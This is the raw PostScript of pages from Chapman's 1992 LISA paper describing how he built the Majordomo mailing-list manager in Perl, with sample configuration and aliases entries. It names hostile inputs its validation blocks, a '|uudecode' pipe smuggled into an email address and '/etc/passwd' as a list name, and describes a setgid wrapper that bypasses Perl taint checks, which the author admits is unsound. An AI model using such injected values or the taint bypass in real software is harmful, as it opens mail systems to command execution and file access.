X +2659 Y(\(such)s +2435 X(as)s +2526 X(only)s +2679 X(forwarding)s +3009 X(messages)s +3297 X(to)s +3384 X(the)s +3501 X(list)s +3619 X(that)s +2256 X +2732 Y(were)s +2409 X(sent)s +2540 X(by)s +2629 X(a)s +2682 X(member)s +2924 X(of)s +3002 X(the)s +3107 X(list,)s +3230 X(and)s +3349 X(refusing)s +3590 X(mes-)s +2256 X +2805 Y(sages)s +2453 X(from)s +2634 X("outsiders"\))s +3003 X(might)s +3211 X(also)s +3371 X(be)s +3487 X(enforced)s +2256 X +2878 Y(automatically)s +2647 X(or)s +2727 X(manually)s +2976 X(.)s +3040 X(All)s +3151 X(of)s +3231 X(this)s +3352 X(is)s +3421 X(outside)s +3638 X(the)s +2256 X +2951 Y(scope)s +2439 X(of)s +2525 X(Majordomo;)s +2889 X(all)s +2988 X(Majordomo)s +3333 X(does)s +3487 X(is)s +3564 X(main-)s +2256 X +3024 Y(tain)s +2391 X(the)s +2507 X(\256le)s +2627 X(containing)s +2943 X(the)s +3059 X(list)s +3176 X(of)s +3264 X(email)s +3447 X(addresses)s +3703 X(.)s +2256 X +3097 Y(How)s +2413 X(that)s +2542 X(list)s +2653 X(is)s +2726 X(used)s +2876 X(\(whether)s +3141 X(it)s +3207 X(is)s +3280 X(simply)s +3490 X(included)s +stdencoding /NCourier /Courier RE +/f.CW /NCourier findfont def +2256 X +3170 Y(as)s +2336 X(an)s +2422 X(alias)s +2569 X(in)s +2644 X(the)s +2749 X +f.CW 10 Z(/etc/aliases)s +3252 X +f.R 10 Z(\256le,)s +3378 X(or)s +3456 X(used)s +3601 X(by)s +3690 X(a)s +2256 X +3243 Y(forwarding)s +2581 X(that)s +2713 X(enforces)s +2970 X(a)s +3031 X("no)s +3155 X(messages)s +3439 X(from)s +3599 X(non)s +3698 X(-)s +2256 X +3316 Y(members)s +2526 X(policy")s +2745 X(as)s +2825 X(described)s +3105 X(above,)s +3305 X(or)s +3384 X(whatever\))s +3675 X(is)s +2256 X +3389 Y(not)s +2363 X(something)s +2663 X(for)s +2762 X(Majordomo)s +3098 X(to)s +3172 X(determine)s +3440 X(.)s +2256 X +3516 Y +2594 X +f.B 10 Z(Implementing)s +3018 X(the)s +3129 X(Proposal)s +2256 X +3625 Y +2400 X +f.R 10 Z(Once)s +2564 X(I)s +2610 X(had)s +2730 X(more)s +2891 X(or)s +2970 X(less)s +3095 X(decided)s +3327 X(what)s +3481 X(I)s +3527 X(wanted)s +2256 X +3698 Y(to)s +2334 X(implement)s +2647 X(and)s +2769 X(how,)s +2926 X(I)s +2974 X(sat)s +3074 X(down)s +3246 X(to)s +3323 X(the)s +3430 X(nitty)s +3553 X(-gritty)s +2256 X +3771 Y(details)s +2464 X(of)s +2551 X(getting)s +2769 X(it)s +2839 X(done)s +2968 X(.)s +3039 X(It)s +3112 X(took)s +3263 X(about)s +3444 X(2)s +3510 X(days)s +3665 X(of)s +2256 X +3844 Y(concentrated)s +2626 X(work)s +2790 X(to)s +2870 X(write)s +3036 X(the)s +3145 X(core)s +3287 X(of)s +3369 X(the)s +3478 X(program,)s +2256 X +3917 Y(followed)s +2519 X(by)s +2611 X(a)s +2667 X(test)s +2787 X(installation)s +3112 X(and)s +3234 X(another)s +3460 X(couple)s +3665 X(of)s +600 X +4967 Y +f.B 10 Z(1992)s +754 X(LISA)s +931 X(VI)s +1027 X(\261)s +1082 X(October)s +1338 X(19)s +1404 X(-23,)s +1531 X(1992)s +1685 X(\261)s +1740 X(Long)s +1909 X(Beach,)s +2122 X(CA)s +3621 X(137)s +5280 Y +pagebot + +%%Page: 138 4 +pagetop +stdencoding /NTimes-Bold /Times-Bold RE +/f.B /NTimes-Bold findfont def +f.B 10 Z +360 X +215 Y(Majordomo:)s +744 X(How)s +899 X(I)s +947 X(Manage)s +1198 X(17)s +1286 X(Mailing)s +1531 X(Lists)s +1690 X(.)s +1707 X(.)s +1724 X(.)s +3199 X(Chapman)s +360 X +448 Y +stdencoding /NTimes-Roman /Times-Roman RE +/f.R /NTimes-Roman findfont def +f.R 10 Z(days)s +507 X(of)s +587 X(on)s +653 X(-again,)s +862 X(off)s +939 X(-again)s +1131 X(testing)s +1334 X(and)s +1454 X(enhancement)s +1807 X(.)s +360 X +521 Y(All)s +474 X(told,)s +623 X(I)s +673 X(spent)s +842 X(about)s +1019 X(20)s +1114 X(hours)s +1290 X(on)s +1385 X(the)s +1496 X(project,)s +1728 X(and)s +360 X +594 Y(ended)s +544 X(up)s +635 X(with)s +779 X(about)s +952 X(than)s +1092 X(600)s +1215 X(lines)s +1366 X(of)s +1445 X(perl)s +1573 X(code)s +1723 X(that)s +360 X +667 Y(implemented)s +742 X(almost)s +953 X(all)s +1053 X(the)s +1167 X(features)s +1411 X(listed)s +1589 X(above)s +1780 X(\(I)s +360 X +740 Y(didn't)s +549 X(implement)s +866 X("which")s +1113 X(and)s +1239 X("unsubscribe")s +1641 X(until)s +1794 X(a)s +360 X +813 Y(couple)s +573 X(of)s +663 X(weeks)s +865 X(later\))s +1007 X(.)s +1081 X(This)s +1235 X(was)s +1374 X(the)s +1491 X(version)s +1723 X(that)s +360 X +886 Y(was)s +498 X(initially)s +742 X(installed)s +1003 X(on)s +1102 X(USENIX)s +1346 X(.ORG)s +1536 X(to)s +1621 X(run)s +1742 X(the)s +360 X +959 Y(SAGE)s +571 X(mailing)s +813 X(lists)s +959 X(in)s +1049 X(late)s +1185 X(June,)s +1362 X(1992)s +1494 X(.)s +1571 X(Over)s +1742 X(the)s +360 X +1032 Y(next)s +500 X(couple)s +703 X(of)s +782 X(weeks,)s +990 X(I)s +1036 X(spent)s +1201 X(another)s +1425 X(20)s +1515 X(or)s +1594 X(so)s +1677 X(hours)s +360 X +1105 Y(implementing)s +755 X(the)s +861 X(remaining)s +1156 X(commands,)s +1486 X(\256xing)s +1665 X(minor)s +360 X +1178 Y(bugs,)s +535 X(and)s +664 X(generally)s +946 X(cleaning)s +1206 X(up)s +1305 X(the)s +1420 X(program)s +1645 X(.)s +1717 X(I've)s +360 X +1251 Y(continued)s +655 X(to)s +739 X(make)s +917 X(minor)s +1109 X(enhancements)s +1521 X(since)s +1692 X(then)s +1807 X(.)s +360 X +1324 Y(Today,)s +573 X(the)s +680 X(program)s +930 X(stands)s +1122 X(at)s +1196 X(815)s +1320 X(lines)s +1472 X(of)s +1552 X(perl)s +1681 X(code,)s +360 X +1397 Y(not)s +467 X(including)s +741 X(libraries)s +961 X(.)s +360 X +1491 Y +504 X(While)s +710 X(writing)s +945 X(Majordomo,)s +1318 X(I)s +1383 X(made)s +1571 X(extensive)s +360 X +1564 Y(use)s +477 X(of)s +559 X(other)s +723 X(people's)s +976 X(work)s +1139 X(that)s +1267 X(had)s +1390 X(been)s +1543 X(previously)s +360 X +1637 Y(released)s +617 X(on)s +720 X(the)s +839 X(net,)s +976 X(including)s +1266 X(software)s +1534 X(to)s +1624 X(process)s +360 X +1710 Y(mail)s +507 X(headers)s +738 X(and)s +860 X(perform)s +1100 X(\256le)s +1212 X(locking)s +1412 X(.)s +1477 X(From)s +1647 X(one)s +1769 X(of)s +360 X +1783 Y(the)s +474 X(perl)s +611 X(archives)s +867 X(on)s +966 X(the)s +1081 X(Internet,)s +1339 X(I)s +1394 X(obtained)s +1657 X(a)s +1720 X(perl)s +360 X +1856 Y(package)s +605 X(called)s +792 X("mailstuff)s +1061 X(.pl")s +1183 X(\(written)s +1421 X(by)s +1513 X(Gene)s +1680 X(Spaf-)s +360 X +1929 Y(ford\))s +527 X(which)s +725 X(parses)s +927 X(RFC822)s +1186 X(mail)s +1341 X(headers)s +1580 X(into)s +1720 X(perl)s +360 X +2002 Y(associative)s +692 X(arrays)s +892 X(for)s +1006 X(easy)s +1162 X(processing;)s +1503 X(with)s +1658 X(a)s +1724 X(few)s +360 X +2075 Y(minor)s +555 X(modi\256cations,)s +972 X(it)s +1046 X(was)s +1186 X(just)s +1320 X(what)s +1487 X(I)s +1546 X(needed)s +1772 X(to)s +360 X +2148 Y(handle)s +580 X(all)s +690 X(the)s +814 X(mail)s +976 X(header)s +1195 X(processing)s +1521 X(for)s +1639 X(Major-)s +360 X +2221 Y(domo)s +511 X(.)s +360 X +4053 Y +3120 0 l +360 X +4141 Y +408 X +stdencoding /NCourier /Courier RE +/f.CW /NCourier findfont def +f.CW 10 Z($whereami)s +808 X(=)s +888 X("GreatCircle)s +1368 X(.COM";)s +360 X +4221 Y +408 X($whoami)s +728 X(=)s +808 X("Majordomo@$whe)s +1408 X(reami";)s +360 X +4301 Y +408 X($whoami_owner)s +968 X(=)s +1048 X("Majordomo)s +1448 X(-Owner@$wheream)s +2048 X(i";)s +360 X +4381 Y +408 X($homedir)s +768 X(=)s +848 X("/usr/local/maj)s +1448 X(ordomo";)s +360 X +4461 Y +408 X($listdir)s +768 X(=)s +848 X("$homedir/Lists)s +1448 X(";)s +360 X +4541 Y +408 X($log)s +608 X(=)s +688 X("$homedir/Log";)s +360 X +4685 Y +1260 X +f.B 10 Z(Figure)s +1472 X(3)s +f.R 10 Z(:)s +1568 X(Sample)s +1791 X +f.CW 10 Z(/etc/majordomo)s +2351 X(.cf)s +2493 X +f.R 10 Z(\256le)s +360 X +2315 Y +504 X(I)s +563 X(needed)s +789 X(a)s +857 X(safe)s +1003 X(way)s +1152 X(for)s +1267 X(Majordomo)s +1619 X(to)s +1709 X(lock)s +360 X +2388 Y(\256les)s +498 X(while)s +673 X(editing)s +885 X(them)s +1045 X(\(adding)s +1274 X(or)s +1355 X(deleting)s +1596 X(users)s +1758 X(on)s +360 X +2461 Y(a)s +419 X(mailing)s +653 X(list,)s +782 X(or)s +866 X(changing)s +1139 X(the)s +1250 X("info")s +1441 X(\256le)s +1557 X(for)s +1664 X(a)s +1724 X(list,)s +360 X +2534 Y(for)s +505 X(instance\),)s +832 X(to)s +952 X(prevent)s +1219 X(multiple)s +1510 X(Majordomo)s +360 X +2607 Y(processes)s +645 X(from)s +803 X(tripping)s +1043 X(each)s +1195 X(other)s +1361 X(up)s +1427 X(.)s +1495 X(I)s +1546 X(was)s +1679 X(fami-)s +360 X +2680 Y(liar)s +475 X(with)s +619 X(Erik)s +759 X(Fair's)s +940 X("shlock")s +1192 X(program,)s +1458 X(which)s +1645 X(is)s +1714 X(pro-)s +360 X +2753 Y(vided)s +549 X(in)s +642 X(the)s +765 X(NNTP)s +980 X(distribution)s +1329 X(as)s +1426 X(a)s +1497 X(\256le)s +1624 X(locking)s +360 X +2826 Y(mechanism)s +708 X(for)s +828 X(use)s +960 X(in)s +1055 X(shell)s +1225 X(scripts,)s +1460 X(and)s +1599 X(knew)s +1786 X(it)s +360 X +2899 Y(would)s +552 X(provide)s +781 X(the)s +890 X(kind)s +1035 X(of)s +1117 X(locking)s +1344 X(I)s +1393 X(wanted;)s +1632 X(porting)s +360 X +2972 Y(the)s +466 X(code)s +616 X(from)s +769 X(a)s +823 X(stand)s +964 X(-alone)s +1155 X(C)s +1223 X(program)s +1472 X(to)s +1548 X(a)s +1602 X(150)s +1701 X(-line)s +360 X +3045 Y(perl)s +504 X(package)s +763 X(was)s +907 X(a)s +977 X(relatively)s +1271 X(simple)s +1490 X(matter)s +1662 X(.)s +1720 X(The)s +360 X +3118 Y(biggest)s +584 X(problem)s +837 X(I)s +890 X(encountered)s +1247 X(was)s +1381 X(that)s +1512 X(the)s +1624 X(C)s +1698 X(code)s +360 X +3191 Y(used)s +514 X("goto")s +718 X(to)s +803 X(break)s +984 X(out)s +1102 X(of)s +1190 X(nested)s +1394 X(command)s +1690 X(logic)s +360 X +3264 Y(when)s +529 X(exceptions)s +840 X(occurred;)s +1117 X(unlike)s +1309 X(some,)s +1492 X(I)s +1539 X(don't)s +1703 X(dog-)s +360 X +3337 Y(maticly)s +597 X(object)s +796 X(to)s +883 X("goto")s +1090 X(on)s +1191 X(general)s +1423 X(principles,)s +1739 X(but)s +360 X +3410 Y(this)s +481 X(particular)s +762 X(usage)s +938 X(of)s +1017 X("goto")s +1213 X(simply)s +1419 X(isn't)s +1562 X(supported)s +360 X +3483 Y(in)s +434 X(perl)s +538 X(.)s +360 X +3577 Y +504 X(Other)s +701 X(complications)s +1122 X(included)s +1397 X(addressing)s +1728 X(and)s +360 X +3650 Y(appropriate)s +689 X(case)s +830 X(sensitivity)s +1106 X(.)s +1170 X(It)s +1236 X(was)s +1365 X(slightly)s +1591 X(tricky)s +1772 X(to)s +360 X +3723 Y(get)s +475 X(all)s +576 X(the)s +691 X("To:")s +871 X(and)s +1000 X("From:")s +1250 X(addresses)s +1539 X(correct)s +1758 X(on)s +360 X +3796 Y(mail)s +523 X(generated)s +826 X(by)s +934 X(Majordomo,)s +1307 X(so)s +1408 X(that)s +1551 X(replies)s +1772 X(to)s +360 X +3869 Y(commands)s +688 X(and)s +823 X(requests)s +1081 X(for)s +1197 X(approval)s +1470 X(from)s +1639 X(Major-)s +360 X +3942 Y(domo)s +539 X(went)s +697 X(to)s +777 X(the)s +887 X(right)s +1041 X(place,)s +1228 X(and)s +1351 X(could)s +1526 X(themselves)s +360 X +4015 Y(be)s +457 X(replied)s +677 X(to)s +763 X(with)s +916 X(appropriate)s +1254 X(results)s +1429 X(.)s +1502 X(It)s +1577 X(was)s +1716 X(also)s +2016 X +448 Y(tricky)s +2195 X(to)s +2270 X(get)s +2375 X(certain)s +2581 X(things)s +2767 X(to)s +2841 X(be)s +2926 X(case)s +3064 X(sensitive)s +3321 X(\(pass-)s +2016 X +521 Y(words,)s +2234 X(for)s +2350 X(example\),)s +2655 X(and)s +2790 X(other)s +2966 X(things)s +3169 X(to)s +3261 X(be)s +3364 X(case)s +2016 X +594 Y(insensitive)s +2330 X(\(email)s +2529 X(addresses,)s +2829 X(mailing)s +3061 X(list)s +3170 X(names,)s +3384 X(and)s +2016 X +667 Y(commands,)s +2348 X(for)s +2451 X(instance\);)s +2738 X(further,)s +2962 X(some)s +3129 X(case)s +3272 X(insensi-)s +2016 X +740 Y(tive)s +2150 X(items)s +2329 X(\(such)s +2506 X(as)s +2595 X(mailing)s +2833 X(list)s +2949 X(names\))s +3175 X(need)s +3333 X(to)s +3417 X(be)s +2016 X +813 Y(smashed)s +2268 X(to)s +2342 X(lower)s +2517 X(case)s +2656 X(before)s +2849 X(use,)s +2978 X(while)s +3150 X(others)s +3336 X(\(such)s +2016 X +886 Y(as)s +2105 X(email)s +2288 X(addresses\))s +2599 X(need)s +2758 X(to)s +2843 X(be)s +2938 X(preserved)s +3229 X(in)s +3313 X(mixed)s +2016 X +959 Y(case)s +2177 X(and)s +2318 X(merely)s +2549 X(compared)s +2857 X(in)s +2955 X(a)s +3031 X(case)s +3193 X(insensitive)s +2016 X +1032 Y(manner)s +2216 X(.)s +2016 X +1126 Y +2160 X(Because)s +2408 X(it)s +2472 X(needs)s +2650 X(to)s +2728 X(edit)s +2855 X(\256les)s +2993 X(\(the)s +3123 X(mailing)s +3354 X(lists,)s +2016 X +1199 Y(the)s +2124 X("info")s +2311 X(\256les)s +2449 X(for)s +2552 X(each)s +2701 X(list,)s +2827 X(and)s +2948 X(so)s +3032 X(forth\),)s +3225 X(I)s +3272 X(decided)s +2016 X +1272 Y(that)s +2144 X(Majordomo)s +2485 X(needed)s +2701 X(to)s +2780 X(run)s +2895 X(setgid)s +3082 X(to)s +3161 X(a)s +3219 X(specially)s +3458 X(-)s +2016 X +1345 Y(created)s +2236 X(group)s +2416 X(which)s +2605 X(would)s +2796 X(have)s +2947 X(appropriate)s +3276 X(permis-)s +2016 X +1418 Y(sions)s +2181 X(on)s +2275 X(those)s +2445 X(\256les)s +2557 X(.)s +2625 X(Perl)s +2762 X(includes)s +3014 X(a)s +3073 X(nifty)s +3228 X(data\257ow)s +3458 X(-)s +2016 X +1491 Y(tracing)s +2227 X(feature)s +2438 X(\(commonly)s +2770 X(known)s +2975 X(as)s +3055 X("taintperl"\))s +3379 X(that)s +2016 X +1564 Y(is)s +2092 X(automatically)s +2489 X(activated)s +2763 X(when)s +2938 X(a)s +2999 X(perl)s +3134 X(script)s +3315 X(is)s +3392 X(run)s +2016 X +1637 Y(setuid)s +2205 X(or)s +2289 X(setgid;)s +2497 X(this)s +2623 X(feature)s +2838 X(attempts)s +3095 X(to)s +3176 X(ensure)s +3379 X(that)s +2016 X +1710 Y(the)s +2121 X(script)s +2293 X(doesn't)s +2512 X(do)s +2601 X(anything)s +2858 X("dangerous")s +3185 X(.)s +3248 X(The)s +3376 X(perl)s +2016 X +1783 Y(on)s +2082 X(-line)s +2227 X(manual)s +2446 X(page)s +2594 X(describes)s +2865 X(this)s +2984 X(feature:)s +2016 X +1856 Y +2112 X(When)s +2315 X(perl)s +2463 X(is)s +2552 X(executing)s +2856 X(a)s +2930 X(setuid)s +3135 X(script,)s +3346 X(it)s +2016 X +1929 Y +2112 X(takes)s +2277 X(special)s +2491 X(precautions)s +2826 X(to)s +2904 X(prevent)s +3130 X(you)s +3255 X(from)s +2016 X +2002 Y +2112 X(falling)s +2311 X(into)s +2439 X(any)s +2559 X(obvious)s +2793 X(traps)s +2923 X(.)s +2964 X(\(In)s +3065 X(some)s +3230 X(ways,)s +2016 X +2075 Y +2112 X(a)s +2205 X(perl)s +2372 X(script)s +2584 X(is)s +2692 X(more)s +2892 X(secure)s +3125 X(than)s +3302 X(the)s +2016 X +2148 Y +2112 X(corresponding)s +2543 X(C)s +2639 X(program)s +2864 X(.\))s +2955 X(Any)s +3121 X(command)s +2016 X +2221 Y +2112 X(line)s +2241 X(argument,)s +2538 X(environment)s +2903 X(variable,)s +3164 X(or)s +3247 X(input)s +2016 X +2294 Y +2112 X(is)s +2184 X(marked)s +2411 X(as)s +2494 X("tainted",)s +2775 X(and)s +2898 X(may)s +3041 X(not)s +3154 X(be)s +3245 X(used,)s +2016 X +2367 Y +2112 X(directly)s +2355 X(or)s +2448 X(indirectly,)s +2760 X(in)s +2850 X(any)s +2983 X(command)s +3283 X(that)s +2016 X +2440 Y +2112 X(invokes)s +2352 X(a)s +2415 X(subshell,)s +2684 X(or)s +2772 X(in)s +2857 X(any)s +2986 X(command)s +3283 X(that)s +2016 X +2513 Y +2112 X(modi\256es)s +2380 X(\256les,)s +2547 X(directories)s +2868 X(or)s +2960 X(processes)s +3216 X(.)s +3270 X(Any)s +2016 X +2586 Y +2112 X(variable)s +2358 X(that)s +2489 X(is)s +2565 X(set)s +2671 X(within)s +2873 X(an)s +2967 X(expression)s +3283 X(that)s +2016 X +2659 Y +2112 X(has)s +2227 X(previously)s +2534 X(referenced)s +2842 X(a)s +2898 X(tainted)s +3106 X(value)s +3276 X(also)s +2016 X +2732 Y +2112 X(becomes)s +2369 X(tainted)s +2575 X(\(even)s +2746 X(if)s +2810 X(it)s +2871 X(is)s +2940 X(logically)s +3199 X(impos-)s +2016 X +2805 Y +2112 X(sible)s +2279 X(for)s +2396 X(the)s +2518 X(tainted)s +2741 X(value)s +2926 X(to)s +3018 X(in\257uence)s +3302 X(the)s +2016 X +2878 Y +2112 X(variable\))s +2350 X(.)s +2016 X +2972 Y(While)s +2211 X(this)s +2339 X(is)s +2415 X(certainly)s +2681 X(a)s +2742 X(valuable)s +3000 X(feature)s +3218 X(of)s +3305 X(perl,)s +3458 X(I)s +2016 X +3045 Y(wasn't)s +2218 X(able)s +2353 X(to)s +2428 X(get)s +2533 X(Majordomo)s +2870 X(to)s +2945 X(function)s +3190 X(because)s +3425 X(of)s +2016 X +3118 Y(it)s +2054 X(.)s +2129 X(I)s +2188 X(spent)s +2366 X(many)s +2551 X(hours)s +2735 X(trying)s +2931 X(to)s +3020 X(make)s +3202 X("taintperl")s +2016 X +3191 Y(happy)s +2225 X(before)s +2442 X(I)s +2511 X(gave)s +2683 X(up)s +2795 X(and)s +2937 X(wrote)s +3135 X(a)s +3211 X(simple)s +3436 X(C)s +2016 X +3264 Y("wrapper")s +2310 X(program)s +2557 X(that)s +2680 X(sets)s +2803 X(the)s +2907 X(real)s +3030 X(UID)s +3170 X(and)s +3288 X(GID)s +3428 X(to)s +2016 X +3337 Y(the)s +2142 X(effective)s +2421 X(UID)s +2582 X(and)s +2721 X(GID)s +2882 X(before)s +3095 X(executing)s +3398 X(the)s +2016 X +3410 Y(Majordomo)s +2386 X(perl)s +2546 X(script,)s +2768 X(thus)s +2935 X(not)s +3076 X(activating)s +3398 X(the)s +2016 X +3483 Y("taintperl")s +2325 X(feature)s +2511 X(.)s +2581 X(This)s +2731 X(is)s +2807 X(almost)s +3017 X(certainly)s +3283 X +stdencoding /NTimes-Italic /Times-Italic RE +/f.I /NTimes-Italic findfont def +f.I 10 Z(not)s +3398 X +f.R 10 Z(the)s +2016 X +3556 Y(right)s +2171 X(thing)s +2337 X(to)s +2419 X(do;)s +2534 X(at)s +2613 X(some)s +2784 X(point,)s +2968 X(I)s +3020 X(need)s +3176 X(to)s +3258 X(go)s +3354 X(back)s +2016 X +3629 Y(and)s +2139 X(\256gure)s +2321 X(out)s +2433 X(how)s +2574 X(to)s +2653 X(make)s +2825 X(Majordomo)s +3166 X(work)s +3329 X(under)s +2016 X +3702 Y("taintperl")s +2294 X(.)s +2383 X(Particularly)s +2746 X(since)s +2934 X(I'm)s +3081 X(bypassing)s +3398 X(the)s +2016 X +3775 Y("taintperl")s +2340 X(security)s +2598 X(features,)s +2873 X(Majordomo)s +3233 X(makes)s +3450 X(a)s +2016 X +3848 Y(special)s +2229 X(effort)s +2404 X(to)s +2483 X(validate)s +2723 X(user)s +2861 X(input)s +3025 X(\(email)s +3224 X(addresses)s +2016 X +3921 Y(and)s +2138 X(mailing)s +2369 X(list)s +2477 X(names,)s +2690 X(for)s +2792 X(instance\))s +3059 X(and)s +3180 X(ensure)s +3379 X(that)s +2016 X +3994 Y(it)s +2089 X(doesn't)s +2320 X(contain)s +2552 X(anything)s +2820 X(dangerous)s +3129 X(\(a)s +3217 X(command)s +360 X +4967 Y +f.B 10 Z(138)s +1862 X(1992)s +2016 X(LISA)s +2193 X(VI)s +2289 X(\261)s +2344 X(October)s +2600 X(19)s +2666 X(-23,)s +2793 X(1992)s +2947 X(\261)s +3002 X(Long)s +3171 X(Beach,)s +3384 X(CA)s +5280 Y +pagebot + +%%Page: 139 5 +pagetop +stdencoding /NTimes-Bold /Times-Bold RE +/f.B /NTimes-Bold findfont def +f.B 10 Z +600 X +215 Y(Chapman)s +2339 X(Majordomo:)s +2723 X(How)s +2878 X(I)s +2926 X(Manage)s +3177 X(17)s +3265 X(Mailing)s +3510 X(Lists)s +3669 X(.)s +3686 X(.)s +3703 X(.)s +600 X +448 Y +stdencoding /NTimes-Roman /Times-Roman RE +/f.R /NTimes-Roman findfont def +f.R 10 Z(like)s +729 X(")s +stdencoding /NCourier /Courier RE +/f.CW /NCourier findfont def +f.CW 10 Z(|uudecode)s +f.R 10 Z(")s +1171 X(in)s +1251 X(an)s +1342 X(email)s +1520 X(address)s +1748 X(or)s +1830 X(an)s +1920 X(abso-)s +600 X +521 Y(lute)s +732 X(path)s +878 X(name)s +1054 X(like)s +1186 X(")s +f.CW 10 Z(/etc/passwd)s +f.R 10 Z(")s +1711 X(as)s +1798 X(a)s +1859 X(mailing)s +600 X +594 Y(list)s +706 X(name\))s +896 X(before)s +1089 X(using)s +1256 X(that)s +1380 X(input)s +1540 X(to)s +1615 X(interact)s +1840 X(with)s +1982 X(the)s +600 X +667 Y(operating)s +875 X(system)s +1084 X(\(by)s +1195 X(opening)s +1432 X(\256les)s +1567 X(by)s +1657 X(that)s +1782 X(name,)s +1968 X(and)s +600 X +740 Y(so)s +681 X(forth\))s +832 X(.)s +600 X +834 Y +744 X(The)s +871 X(title)s +1000 X(of)s +1078 X(this)s +1198 X(paper)s +1369 X(states)s +1542 X(that)s +1666 X(I)s +1711 X(don't)s +1875 X(answer)s +600 X +907 Y(")s +627 X(-request")s +905 X(mail)s +1061 X(\(that)s +1220 X(is,)s +1318 X(mail)s +1474 X(people)s +1688 X(send)s +1845 X(to)s +1932 X(")s +stdencoding /NTimes-Italic /Times-Italic RE +/f.I /NTimes-Italic findfont def +f.I 10 Z(list)s +2042 X +f.R 10 Z(-)s +600 X +980 Y(request")s +845 X(with)s +989 X(requests)s +1233 X(concerning)s +1555 X +f.I 10 Z(list)s +f.R 10 Z(\))s +1660 X(.)s +1725 X(While)s +1915 X(that's)s +600 X +1053 Y(true,)s +748 X +f.I 10 Z(something)s +1049 X +f.R 10 Z(has)s +1164 X(to)s +1242 X(answer)s +1457 X(")s +1484 X(-request")s +1752 X(mail)s +1872 X(.)s +1937 X(Mail)s +600 X +1126 Y(sent)s +743 X(to)s +830 X(")s +f.I 10 Z(list)s +940 X +f.R 10 Z(-request")s +1217 X(can't)s +1386 X(simply)s +1604 X(be)s +1703 X(forwarded)s +2012 X(to)s +600 X +1199 Y(Majordomo)s +945 X(for)s +1052 X(processing,)s +1384 X(since)s +1552 X(it)s +1620 X(almost)s +1829 X(certainly)s +600 X +1272 Y(doesn't)s +836 X(contain)s +1073 X(commands)s +1402 X(that)s +1543 X(Majordomo)s +1898 X(would)s +600 X +1345 Y(understand)s +892 X(.)s +993 X(A)s +1102 X(simple)s +1342 X(little)s +1528 X(perl)s +1693 X(script)s +1903 X(called)s +600 X +1418 Y("request)s +820 X(-recording")s +1160 X(\(abbreviated)s +1531 X(as)s +1624 X("request)s +1844 X(-rec")s +2012 X(in)s +600 X +1491 Y(Figure)s +800 X(4\))s +881 X(answers)s +1122 X(the)s +1230 X(")s +1257 X(-request")s +1525 X(mail)s +1671 X(for)s +1774 X(each)s +1922 X(mail-)s +600 X +1564 Y(ing)s +719 X(list,)s +853 X(and)s +983 X(sends)s +1165 X(back)s +1325 X(a)s +1389 X(message)s +1650 X(\(customized)s +2012 X(to)s +600 X +1637 Y(the)s +725 X(list)s +850 X(in)s +944 X(question\))s +1234 X(telling)s +1448 X(the)s +1572 X(user)s +1725 X(how)s +1881 X(to)s +1975 X(use)s +600 X +1710 Y(Majordomo)s +944 X(to)s +1026 X(subscribe)s +1309 X(to)s +1392 X(the)s +1505 X(list,)s +1636 X(get)s +1749 X(information)s +600 X +1783 Y(about)s +782 X(the)s +898 X(list,)s +1032 X(or)s +1121 X(get)s +1237 X(a)s +1301 X(copy)s +1464 X(of)s +1553 X(Majordomo's)s +1949 X(help)s +600 X +1856 Y(\256le;)s +731 X(in)s +809 X(addition,)s +1071 X(instructions)s +1409 X(are)s +1517 X(provided)s +1779 X(on)s +1871 X(how)s +2012 X(to)s +600 X +1929 Y(reach)s +767 X(a)s +819 X(human)s +1022 X(being,)s +1209 X(just)s +1328 X(in)s +1402 X(case)s +1518 X(.)s +600 X +3729 Y +3120 0 l +600 X +3804 Y +648 X +f.CW 8 Z(majordomo:)s +1000 X("|/usr/local/ma)s +1480 X(jordomo/wrapper)s +1992 X(/usr/local/majo)s +2472 X(rdomo/majordomo)s +2952 X(")s +600 X +3871 Y +648 X(owner)s +808 X(-majordomo:)s +1192 X(brent)s +600 X +4005 Y +648 X(open)s +776 X(-list:)s +1000 X(:include:/usr/l)s +1480 X(ocal/majordomo/)s +1960 X(Lists/open)s +2280 X(-list)s +600 X +4072 Y +648 X(open)s +776 X(-list)s +936 X(-request:)s +1256 X("|/usr/local/ma)s +1736 X(jordomo/wrapper)s +2248 X(/usr/local/majo)s +2728 X(rdomo/request)s +3144 X(-rec)s +3304 X(open)s +3432 X(-list")s +600 X +4139 Y +648 X(open)s +776 X(-list)s +936 X(-approval:)s +1288 X(joe@foobar)s +1608 X(.com)s +600 X +4206 Y +648 X(owner)s +808 X(-open)s +968 X(-list:)s +1192 X(joe@foobar)s +1512 X(.com)s +600 X +4340 Y +648 X(closed)s +840 X(-list:)s +1064 X(:include:/usr/l)s +1544 X(ocal/majordomo/)s +2024 X(Lists/closed)s +2408 X(-list)s +600 X +4407 Y +648 X(closed)s +840 X(-list)s +1000 X(-request:)s +1320 X("|/usr/local/ma)s +1800 X(jordomo/wrapper)s +2312 X(/usr/local/majo)s +2792 X(rdomo/request)s +3208 X(-rec)s +3368 X(closed)s +3560 X(-list")s +600 X +4474 Y +648 X(closed)s +840 X(-list)s +1000 X(-approval:)s +1352 X(bob@elsewhere)s +1768 X(.edu)s +600 X +4541 Y +648 X(owner)s +808 X(-closed)s +1032 X(-list:)s +1256 X(bob@elsewhere)s +1672 X(.edu)s +600 X +4685 Y +1554 X +f.B 10 Z(Figure)s +1766 X(4)s +f.R 10 Z(:)s +1862 X(Sample)s +2085 X +f.CW 10 Z(/etc/aliases)s +2587 X +f.R 10 Z(entries)s +600 X +2056 Y +979 X +f.B 10 Z(Con\256guring)s +1345 X(Majordomo)s +600 X +2165 Y +744 X +f.R 10 Z(At)s +853 X(startup,)s +1095 X(Majordomo)s +1452 X(reads)s +1636 X(a)s +1709 X(con\256guration)s +600 X +2238 Y(\256le)s +712 X(\(as)s +816 X(speci\256ed)s +1080 X(by)s +1172 X(the)s +1280 X(")s +f.CW 10 Z(MAJORDOMO_CF)s +f.R 10 Z(")s +1839 X(environ-)s +600 X +2311 Y(ment)s +801 X(variable)s +1085 X(or)s +1208 X(on)s +1342 X(the)s +1492 X(command)s +1823 X(line,)s +2009 X(or)s +600 X +2384 Y(")s +f.CW 10 Z(/etc/majordom)s +1147 X(o)s +1187 X(.cf)s +f.R 10 Z(")s +1366 X(by)s +1464 X(default\))s +1703 X(that)s +1835 X(provides)s +600 X +2457 Y(site)s +694 X(-speci\256c)s +953 X(information,)s +1317 X(including)s +1601 X(the)s +1716 X(name)s +1894 X(of)s +1982 X(the)s +600 X +2530 Y(site,)s +737 X(who)s +877 X(mail)s +1023 X(from)s +1178 X(Majordomo)s +1518 X(should)s +1721 X(appear)s +1924 X(to)s +2001 X(be)s +600 X +2603 